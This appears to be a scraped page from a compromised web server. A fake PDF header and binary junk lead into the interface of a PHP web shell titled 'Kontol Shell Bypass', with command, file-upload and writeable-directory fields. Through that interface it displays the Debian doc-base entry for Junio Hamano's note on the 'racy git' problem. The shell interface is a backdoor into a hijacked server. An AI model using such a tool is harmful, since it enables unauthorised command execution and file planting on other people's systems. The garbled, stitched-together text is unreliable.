%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /usr/share/doc-base/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : //usr/share/doc-base/the-racy-git-problem
Document: the-racy-git-problem
Title: Use of index and the "racy git" problem
Author: Junio C Hamano
Abstract: In order to speed up comparison between files in
 the work tree and index entries, git compares current
 lstat(2) information with saved lstat(2) information from
 whenever it updated the corresponding index entry.  A very
 quick update that does not change file size could therefore
 make git incorrectly think files in the working tree are
 unmodified even though they actually are modified.  This is
 called the "racy git" problem (discovered by Pasky), and
 the entries that would appear clean when they ought not to
 be because of this problem are called "racily clean".
 .
 This document explains how git avoids that problem.
Section: File Management

Format: Text
Files: /usr/share/doc/git-doc/technical/racy-git.txt

Kontol Shell Bypass